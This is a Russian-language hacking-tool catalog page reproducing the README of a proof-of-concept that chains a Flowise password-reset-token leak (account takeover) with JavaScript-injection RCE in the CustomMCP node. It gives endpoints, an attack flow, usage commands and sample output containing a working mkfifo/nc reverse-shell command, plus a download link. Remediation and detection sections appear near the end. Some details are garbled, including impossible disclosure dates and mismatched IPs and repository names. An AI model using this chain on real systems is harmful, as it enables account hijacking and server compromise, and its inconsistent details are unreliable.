Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Flowise-CVE-2025-58434-Chain-59528 — Эксплойт PoC для FlowiseAI CVE-2025-58434 и CVE-2025-59528, демонстрирующий неаутентифицированный ATO через утечку токена сброса, за которым следует аутентифицированный RCE. Включает воспроизводимую среду Docker-лаборатории. | Kitploit
Инструменты/GitHubGitHub/0xdaeras/flowise-cve-2025-58434-chain-59528
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеАутентификацияОбучение и ОбразованиеЛаборатории и Практика
GitHub0xdaeras/flowise-cve-2025-58434-chain-59528

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Flowise-CVE-2025-58434-Chain-59528

Эксплойт PoC для FlowiseAI CVE-2025-58434 и CVE-2025-59528, демонстрирующий неаутентифицированный ATO через утечку токена сброса, за которым следует аутентифицированный RCE. Включает воспроизводимую среду Docker-лаборатории.

Репозиторий
13 месяцев назадЕщё не проверено

Цепочка CVE FlowiseAI - ATO (CVE-2025-58434) и RCE (CVE-2025-59528)

CVE-2025-58434 CVSS-1 CVE-2025-59528 CVSS-2 Python License

⚠️ Только для образовательных целей и авторизованных исследований безопасности. Запуск этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет письменного разрешения, незаконен.


Содержание

Этот репозиторий содержит концептуальное доказательство на Python для объединения двух уязвимостей Flowise:

  • CVE-2025-58434 — Перехват учётной записи через раскрытие токена сброса пароля.
  • CVE-2025-59528 — Удалённое выполнение кода через небезопасное выполнение JavaScript в узле CustomMCP.

Flowise — это платформа drag-and-drop для создания LLM-приложений и рабочих процессов AI-агентов. CVE-2025-59528 затрагивает Flowise 3.0.5 и исправлена в версии 3.0.6. Проблема связана с небезопасной обработкой mcpServerConfig внутри узла CustomMCP. CVE-2025-58434 связана с раскрытием токена сброса пароля и также была устранена в Flowise 3.0.6.

Инструмент поддерживает:

  • Проверку уязвимости
  • Процесс перехвата учётной записи
  • Вход в систему и получение куки
  • Аутентифицированное RCE
  • Полный режим цепочки: ATO → вход → RCE

Детали уязвимостей

CVE-2025-58434 — Перехват учётной записи

  • CVE ID: CVE-2025-58434
  • CVSS v3.1 Score: 9.8 (Critical)
  • Тип уязвимости: Перехват учётной записи / Обход аутентификации
  • Затронутый продукт: Flowise
  • Протестированная версия: Flowise 3.0.5
  • Исправленная версия: Flowise 3.0.6
  • Требуется аутентификация: Нет
  • Воздействие: Раскрытие токена сброса пароля, перехват учётной записи

Уязвимый процесс сброса пароля раскрывает конфиденциальные данные пользователя, включая временные токены сброса пароля, в ответе API. Злоумышленник, знающий действительный адрес электронной почты пользователя, может запросить сброс пароля, извлечь временный токен из ответа и использовать его для установки нового пароля для учётной записи.

Уязвимое поведение затрагивает как облачный Flowise, так и локальные развёртывания с тем же API-интерфейсом. Исправление заключается в том, чтобы никогда не возвращать токены сброса пароля или конфиденциальные данные сброса учётной записи непосредственно в ответах API.

CVE-2025-59528 — Удалённое выполнение кода

  • CVE ID: CVE-2025-59528
  • CVSS v3.1 Score: 10.0 (Critical)
  • Тип уязвимости: Внедрение JavaScript кода / Удалённое выполнение кода
  • Затронутый продукт: Flowise
  • Протестированная версия: Flowise 3.0.5
  • Исправленная версия: Flowise 3.0.6
  • Требуется аутентификация: Да
  • Воздействие: Произвольное выполнение JavaScript в среде выполнения Node.js, RCE на сервере, где размещён Flowise

Уязвимость существует в узле CustomMCP Flowise. Параметр mcpServerConfig обрабатывается как часть процесса конфигурации MCP-сервера и выполняется как JavaScript-код без какой-либо проверки безопасности. Это позволяет аутентифицированному злоумышленнику внедрить произвольный JavaScript-код, который выполняется в среде Node.js сервера Flowise. В функции convertToValidJSONString пользовательский ввод передаётся в конструктор Function, который обрабатывает ввод как код JavaScript с полными привилегиями Node.js, что позволяет получить доступ к модулям, таким как child_process, для выполнения системных команд.

Уязвимая конечная точка, используемая в этом PoC:

root@kitploit:~
POST /api/v1/node-load-method/customMCP

с полезной нагрузкой js в поле mcpServerConfig тела JSON, например:

root@kitploit:~
{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "..."
  }
}

Уязвимый код находится в файле CustomMCP.ts и упоминается в Консультации разработчика GitHub для CVE.


Порядок атаки

root@kitploit:~
Attacker                                   Flowise
   │                                          │
   │  [CVE-2025-58434]                       │
   │  POST /api/v1/account/forgot-password   │
   │  { email }                              │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  user object + tempToken                 │
   │                                          │
   │  POST /api/v1/account/reset-password     │
   │  { email, tempToken, newPassword }       │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  password changed                        │
   │                                          │
   │  POST /api/v1/auth/login                 │
   │  { email, newPassword }                  │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  token / refreshToken / connect.sid      │
   │                                          │
   │  [CVE-2025-59528]                       │
   │  POST /api/v1/node-load-method/customMCP │
   │  mcpServerConfig=<crafted config>        │
   │─────────────────────────────────────────►│
   │                              JS evaluated in Node.js
   │                              command executed
   │◄─────────────────────────────────────────│
   │  command output or payload fired         │
   │                                          │
   ✓  Account takeover + authenticated RCE

Структура репозитория:

root@kitploit:~
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/

Установка

Инструмент

root@kitploit:~
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt

Docker-лаборатория

root@kitploit:~
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env  # Настройте переменные окружения
docker-compose up -d

Использование

Поведение по умолчанию

Без аргументов инструмент запустит полную цепочку атаки, проверит уязвимость цели, выполнит перехват учётной записи для указанного email, выполнит вход для получения куки, а затем эксплуатирует уязвимость RCE с помощью полезной нагрузки reverse shell. Запустите выделенный слушатель (например, nc -lvnp 9889) перед выполнением инструмента в режиме полной цепочки.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889

Справка

root@kitploit:~
python3 exploit.py -h

Режимы

check-mode

Выполняет проверку версии, чтобы определить, уязвима ли цель для CVE-2025-58434 и CVE-2025-59528. Отправляет запрос к API цели и анализирует ответ для определения версии Flowise и статуса уязвимости.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 check

ato-mode

Выполняет процесс перехвата учётной записи для CVE-2025-58434. Отправляет запрос на сброс пароля для указанного email, извлекает временный токен из ответа, а затем использует этот токен для установки нового пароля (по умолчанию: "Password123!") для учётной записи.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode

login-mode

Выполняет вход на цель, используя указанный email и пароль (по умолчанию: "Password123!"). В случае успеха извлекает и отображает куки аутентификации (например, connect.sid) для использования в аутентифицированных запросах.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode

rce-mode

Эксплуатирует уязвимость RCE (CVE-2025-59528), отправляя crafted payload mcpServerConfig на уязвимую конечную точку. Полезная нагрузка предназначена для выполнения команды reverse shell, которая подключается обратно к машине атакующего на указанные LHOST и LPORT. Если токен не указан, автоматически пытается выполнить вход и получить действительный токен для эксплуатации. Если LHOST/LPORT не указаны, по умолчанию используется простая полезная нагрузка команды id, которая возвращает вывод в ответе. Запустите выделенный слушатель (например, nc -lvnp 9889) перед выполнением инструмента в режиме полной цепочки.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! --lhost attacker.local --lport 9889 rce-mode

full-chain-mode

Режим по умолчанию. Запускает всю цепочку атаки последовательно: проверяет уязвимости, выполняет перехват учётной записи, входит в систему для получения куки, а затем эксплуатирует уязвимость RCE с помощью полезной нагрузки reverse shell. Запустите выделенный слушатель (например, nc -lvnp 9889) перед выполнением инструмента в режиме полной цепочки.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889 full-chain-mode

Справочник флагов

Цель и аутентификация

Режимы эксплуатации

Параметры RCE

Безопасность и вывод

Пример вывода

root@kitploit:~
$ python3 exploit.py -t http://localhost:3000 -e [email protected] --new-password Password123! --lhost 192.168.1.7 --lport 9889 full-mode

                                                                                                                                   
___________.__                .__                _________ .__           .__        
\_   _____/|  |   ______  _  _|__| ______ ____   \_   ___ \|  |__ _____  |__| ____   
 |    __)  |  |  /  _ \ \/ \/ /  |/  ___// __ \  /    \  \/|  |  \\__  \ |  |/    \  
 |     \   |  |_(  <_> )     /|  |\___ \\  ___/  \     \___|   Y  \/ __ \|  |   |  \ 
 \___  /   |____/\____/ \/\_/ |__/____  >\___  >  \______  /___|  (____  /__|___|  / 
     \/                               \/     \/          \/     \/     \/        \/  
                                                                                     

  ────────────────────────────────────────────────────────────────────────────────
[∗] Target URL: http://localhost:3000
[∗] Module : full-mode
[∗] Email  : [email protected]
  ────────────────────────────────────────────────────────────────────────────────
[∗] Checking for target vulnerability...
[+] Target appears to be vulnerable.
  ────────────────────────────────────────────────────────────────────────────────
[∗] Starting Account Takeover (CVE-2025-58434)...
[+] Password reset request sent successfully.
[∗] Target user data :

 🡪  ID             : 4e169dc2-AAAA-BBBB-CCCC-DDDDDDDDDDDD
 🡪  Name           : Lab Admin
 🡪  Email          : [email protected]
 🡪  Credential     : $2a$10$lKbQNf8pVQXJFMzzW...
 🡪  Status         : active
 🡪  Temp Token     : AWtyV7mxIa6h12OhlB7H0mMl...
 🡪  Token Expiry   : 2026-05-08T19:37:47.025Z

[∗] Attempting to reset password using the temporary token...
[∗] New password : Password123!
[+] Account takeover successful! New credentials:

 🡪  Email          : [email protected]
 🡪  Password       : Password123!
  ────────────────────────────────────────────────────────────────────────────────
[∗] Starting login process to retrieve session cookies...
[+] Login successful!
[+] Retrieved session tokens :

 🡪  Token          : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
 🡪  connect.sid    : s%3AFi1aUHh5p0aQrPd5q-l_vupTCE-5G...
 🡪  refreshToken   : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
  ────────────────────────────────────────────────────────────────────────────────
[∗] Starting Remote Code Execution (CVE-2025-59528)...
[!] Make sure to have a listener ready if using a reverse shell command!

[∗] Reverse shell command: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.1 9889 > /tmp/f
[∗] Target URL: http://localhost:3000/api/v1/node-load-method/customMCP

[∗] Sending payload to trigger RCE...
[+] Payload sent. Check your listener for a reverse shell connection!
  ────────────────────────────────────────────────────────────────────────────────
[+] Work done. Bye!

Docker-лаборатория

Для безопасного тестирования рекомендуется локальная лаборатория.

Установка лаборатории:

root@kitploit:~
cp .env.example .env  # При необходимости настройте переменные окружения
docker compose up -d --build
docker compose logs -f

По умолчанию создаются две учётные записи Flowise:

  • Admin : Email [email protected], пароль генерируется случайным образом при запуске контейнера (проверьте логи для получения пароля).
  • User : Email [email protected], пароль генерируется случайным образом при запуске контейнера, но не отображается в логах. Это целевая учётная запись для процесса ATO.

Запустите PoC против локального экземпляра:

root@kitploit:~
python3 exploit.py \
  -t http://localhost:3000 \
  -e [email protected] \
  --new-password 'Password123!' \
  --no-check \
  full-mode

Для просмотра логов Flowise:

root@kitploit:~
docker compose logs -f flowise-cve-lab

или:

root@kitploit:~
docker logs -f flowise-cve-lab

Исправление

Общие рекомендации

Против CVE-2025-58434

  • Обновите Flowise до версии 3.0.6 или новее.
  • Никогда не возвращайте токены сброса пароля в ответах API.
  • Доставляйте токены сброса только через зарегистрированный канал электронной почты.
  • Делайте токены сброса недействительными после однократного использования.
  • Добавьте строгое ограничение срока действия и ограничение скорости для конечных точек сброса пароля.

Против CVE-2025-59528

  • Обновите Flowise до версии 3.0.6 или новее.
  • Избегайте обработки управляемой пользователем конфигурации как JavaScript.
  • Удалите небезопасные шаблоны динамического выполнения, такие как Function, eval или их эквиваленты.
  • Проверяйте и обрабатывайте конфигурацию MCP как строгие данные, а не как исполняемый код.

Идеи для обнаружения

Возможные индикаторы эксплуатации:

  • Запросы к /api/v1/node-load-method/customMCP
  • Подозрительные значения mcpServerConfig, содержащие синтаксис, похожий на JavaScript.
  • Строки, такие как: process.mainModule, child_process, execSync, Buffer.from, Function
  • Запросы на сброс пароля, за которыми следует немедленный вход и доступ к CustomMCP.
  • Исходящие соединения из контейнера или хоста Flowise.

График раскрытия

  • 2025-12-09: CVE-2025-58434 раскрыта пользователями zaddy6 и arthurgervais на GitHub Advisories с подробным отчётом и PoC.
  • 2025-13-09: CVE-2025-59528 раскрыта пользователем im-soohyun на GitHub Advisories с подробным отчётом и PoC.
  • 2025-15-09: Обе CVE исправлены в Flowise 3.0.6, выпущенном на GitHub.

Отказ от ответственности

Этот проект предоставляется только для образовательных целей, лабораторного тестирования и авторизованных исследований безопасности.

Вы несёте ответственность за получение явного разрешения перед запуском этого инструмента против любой системы. Автор не несёт ответственности за неправильное использование, ущерб или незаконные действия, совершённые с помощью этого кода. Всегда соблюдайте этические нормы и правовые требования при проведении тестирования безопасности.


Ссылки

  • CVE-2025-58434
  • CVE-2025-59528
  • Репозиторий Flowise на GitHub
  • Консультация разработчика Flowise для CVE-2025-58434
  • Консультация разработчика Flowise для CVE-2025-59528
  • Примечания к выпуску Flowise 3.0.6
Скачать инструмент
ФлагОписаниеПример
-t, --targetБазовый URL цели-t http://localhost:3000
-e, --emailEmail учётной записи цели-e [email protected]
--passwordИзвестный пароль для режимов login/RCE--password Password123!
--tokenСуществующий токен сессии, пропускает вход--token eyJ...
--new-passwordПароль, который будет установлен при ATO--new-password Password123!
РежимОписание
checkПроверить, выглядит ли цель уязвимой
ato-modeЗапустить только процесс перехвата учётной записи
login-modeВыполнить вход и получить куки сессии
rce-modeЗапустить только процесс RCE
full-modeОбъединить ATO, вход и RCE
ФлагОписаниеПример
-c, --commandПользовательская команда для выполнения-c 'id'
--lhostХост слушателя для reverse shell--lhost 10.10.14.3
--lportПорт слушателя для reverse shell--lport 4444
ФлагОписаниеПо умолчанию
--no-checkПропустить проверку версии/уязвимостиFalse
-v, --verboseВключить отладочное логированиеFalse
--log-fileПуть к файлу логаlogs/exploit.log
--no-colorОтключить ANSI-цветаFalse